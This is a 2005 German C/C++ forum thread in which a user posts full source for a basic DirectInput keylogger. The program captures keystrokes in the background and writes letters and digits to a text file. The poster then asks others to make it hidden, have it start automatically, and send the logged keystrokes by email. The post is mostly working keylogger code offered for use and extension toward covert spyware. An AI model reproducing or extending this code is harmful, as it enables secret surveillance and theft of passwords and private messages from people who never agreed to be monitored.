Herzlich Willkommen, lieber Gast!
  Sie befinden sich hier:

  Forum » C / C++ (WinAPI, Konsole) » Keylogger

Forum | Hilfe | Team | Links | Impressum | > Suche < | Mitglieder | Registrieren | Einloggen
  Quicklinks: MSDN-Online || STL || clib Reference Grundlagen || Literatur || E-Books || Zubehör || > F.A.Q. < || Downloads   

Autor Thread - Seiten: > 1 <
000
12.09.2005, 20:13 Uhr
mauralix



Hallo Leute!!!

Ich will heute mal zeigen wie einfach eigentlich die Funktionsweise eines Keyloggers (Programm mit dem man alle Tastenschläge aufzeichnen kann) zu realisieren ist.
Ich verwendete DirectInput.

Ich stellte es trotzdem in das WinApi-Forum weil...

-DirectX und WinApi sowieso zusammenhängen
-Das DirectX-Forum dieser Seite nicht gut besucht ist
-man Keylogger glaub ich mal eher mit WinApi macht
-auf andere Lösungen interessiert bin

Wie man sieht ist das nur der Basis - Code

Besonders stört mich das das Programm beendet werden muss um eine Datei zu schreiben.
Außerdem sollte das Programm möglichst versteckt sein und von alleine starten.
Es würde mich sowieso interessieren wie ich ein Programm in den Autostart bekomme.

Hier der Code...


C++:
//////////////////////////////////////////////////////////
// Möchtegern Keylogger von mauralix   ///////////////////
// 12.9.2005 15:36 ///////////////////////////////////////
//////////////////////////////////////////////////////////

// Includes
#include <dinput.h>
#include <stdio.h>

// Libs
#pragma comment(lib,"dxguid.lib")
#pragma comment(lib,"dinput8.lib")

//Makros
#define RELEASE(x){if(x!=NULL){x->Release();x=NULL;}}
#define UNACQUIRE_AND_RELEASE(x){if(x!=NULL){x->Unacquire();x->Release();x=NULL;}}

//Prototypen
LRESULT CALLBACK WndProc(HWND hWnd,UINT msg,WPARAM wParam,LPARAM lParam);
void InitKeyboard(HWND hWnd,HINSTANCE hInstance);
void ProcessInput(HWND hWnd);
int KeyState(int key);
void CleanUp(void);

//Globals
bool bKeyboard[256];
FILE *file=fopen("datei.txt","a+");
LPDIRECTINPUTDEVICE8 lpDIKeyboard=NULL;
LPDIRECTINPUT8 lpDI=NULL;

//------------------ Main --------------------------------------------
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,
                   LPSTR lpCmdLine,int nShowCmd){

WNDCLASSEX wc;

wc.cbClsExtra=0;
wc.cbSize=sizeof(wc);
wc.cbWndExtra=0;
wc.hbrBackground=(HBRUSH)(COLOR_WINDOW);
wc.hCursor=0;
wc.hIcon=0;
wc.hIconSm=0;
wc.hInstance=hInstance;
wc.lpfnWndProc=WndProc;
wc.lpszClassName="DI";
wc.lpszMenuName=NULL;
wc.style=CS_HREDRAW|CS_VREDRAW|CS_OWNDC;

RegisterClassEx(&wc);

HWND hWnd=CreateWindowEx(NULL,"DI","Direct Input",WS_OVERLAPPEDWINDOW,100,100,640,480,
                         NULL,NULL,hInstance,NULL);

ShowWindow(hWnd,SW_SHOW);


InitKeyboard(hWnd,hInstance);

MSG msg={0};

while(msg.message!=WM_QUIT){

    if(PeekMessage(&msg,0,0,0,PM_REMOVE)){

        TranslateMessage(&msg);
        DispatchMessage(&msg);

    }
    else{

        ProcessInput(hWnd);

    }
}

UnregisterClass("DI",hInstance);
CleanUp();

return 0;
}
//---------------------------------------------------------------------------

LRESULT CALLBACK WndProc(HWND hWnd,UINT msg,WPARAM wParam,LPARAM lParam){

    switch(msg){

    case WM_DESTROY:
        PostQuitMessage(0);
        break;

    case WM_KEYDOWN:
        switch(wParam){

        case VK_ESCAPE:
            PostQuitMessage(0);
            break;
        }
        break;
    }

return DefWindowProc(hWnd,msg,wParam,lParam);
}

void InitKeyboard(HWND hWnd,HINSTANCE hInstance){



    DirectInput8Create(hInstance,DIRECTINPUT_VERSION,
        IID_IDirectInput8,(LPVOID*)&lpDI,NULL);



lpDI->CreateDevice(GUID_SysKeyboard,&lpDIKeyboard,NULL);

lpDIKeyboard->SetDataFormat(&c_dfDIKeyboard);

lpDIKeyboard->SetCooperativeLevel(hWnd,DISCL_BACKGROUND|DISCL_NONEXCLUSIVE);

lpDIKeyboard->Acquire();

}

void ProcessInput(HWND hWnd){

    if(FAILED((lpDIKeyboard->GetDeviceState(sizeof(bKeyboard),(LPVOID*)&bKeyboard)))){

        lpDIKeyboard->Acquire();
    }

    if(KeyState(DIK_A)==2) fprintf(file,"a");
    if(KeyState(DIK_B)==2) fprintf(file,"b");
    if(KeyState(DIK_C)==2) fprintf(file,"c");
    if(KeyState(DIK_D)==2) fprintf(file,"d");
    if(KeyState(DIK_E)==2) fprintf(file,"e");
    if(KeyState(DIK_F)==2) fprintf(file,"f");
    if(KeyState(DIK_G)==2) fprintf(file,"g");
    if(KeyState(DIK_H)==2) fprintf(file,"h");
    if(KeyState(DIK_I)==2) fprintf(file,"i");
    if(KeyState(DIK_J)==2) fprintf(file,"j");
    if(KeyState(DIK_K)==2) fprintf(file,"k");
    if(KeyState(DIK_L)==2) fprintf(file,"l");
    if(KeyState(DIK_M)==2) fprintf(file,"m");
    if(KeyState(DIK_N)==2) fprintf(file,"n");
    if(KeyState(DIK_O)==2) fprintf(file,"o");
    if(KeyState(DIK_P)==2) fprintf(file,"p");
    if(KeyState(DIK_Q)==2) fprintf(file,"q");
    if(KeyState(DIK_R)==2) fprintf(file,"r");
    if(KeyState(DIK_S)==2) fprintf(file,"s");
    if(KeyState(DIK_T)==2) fprintf(file,"t");
    if(KeyState(DIK_U)==2) fprintf(file,"u");
    if(KeyState(DIK_V)==2) fprintf(file,"v");
    if(KeyState(DIK_W)==2) fprintf(file,"w");
    if(KeyState(DIK_X)==2) fprintf(file,"x");
            if(KeyState(DIK_Z)==2) fprintf(file,"y");
    if(KeyState(DIK_Y)==2) fprintf(file,"z");
    if(KeyState(DIK_0)==2) fprintf(file,"0");
    if(KeyState(DIK_1)==2) fprintf(file,"1");
    if(KeyState(DIK_2)==2) fprintf(file,"2");
    if(KeyState(DIK_3)==2) fprintf(file,"3");
    if(KeyState(DIK_4)==2) fprintf(file,"4");
    if(KeyState(DIK_5)==2) fprintf(file,"5");
    if(KeyState(DIK_6)==2) fprintf(file,"6");
    if(KeyState(DIK_7)==2) fprintf(file,"7");
    if(KeyState(DIK_8)==2) fprintf(file,"8");
    if(KeyState(DIK_9)==2) fprintf(file,"9");
}

int KeyState(int key){

//Rückgabewerte: 0=normal 1=gedrückt 2=losgelassen

    static bool keystate[256];

    if(keystate[key]){

        if(!bKeyboard[key]){
            keystate[key]=false;
            return 2;
        }
    }

    if(bKeyboard[key]){

        if(keystate[key])
        return 1;
        else keystate[key]=true;
    }

return 0;
}

void CleanUp(void){

    RELEASE(lpDI);
    UNACQUIRE_AND_RELEASE(lpDIKeyboard);
    fclose(file);
}




Wie man sieht sind das auch nicht alle Tasten aber man kann ja noch weitere gleich einfach hinzufügen.
Dan zeigt mal wie mans besser macht was noch zu bemängeln ist und baut die noch nicht vorhandenen oben genannten Features ein. Vielleicht schafft es einer ja sogar noch die Tasteneingaben per E-mail zu versenden um einen besonders flexiblen Keylogger zu bauen.
--
nur olfaktorisch fassbar....
 
Profil || Private Message || Suche Download || Zitatantwort || Editieren || Löschen || IP
Seiten: > 1 <     [ C / C++ (WinAPI, Konsole) ]  


ThWBoard 2.73 FloSoft-Edition
© by Paul Baecher & Felix Gonschorek (www.thwboard.de)

Anpassungen des Forums
© by Flo-Soft (www.flo-soft.de)

Sie sind Besucher: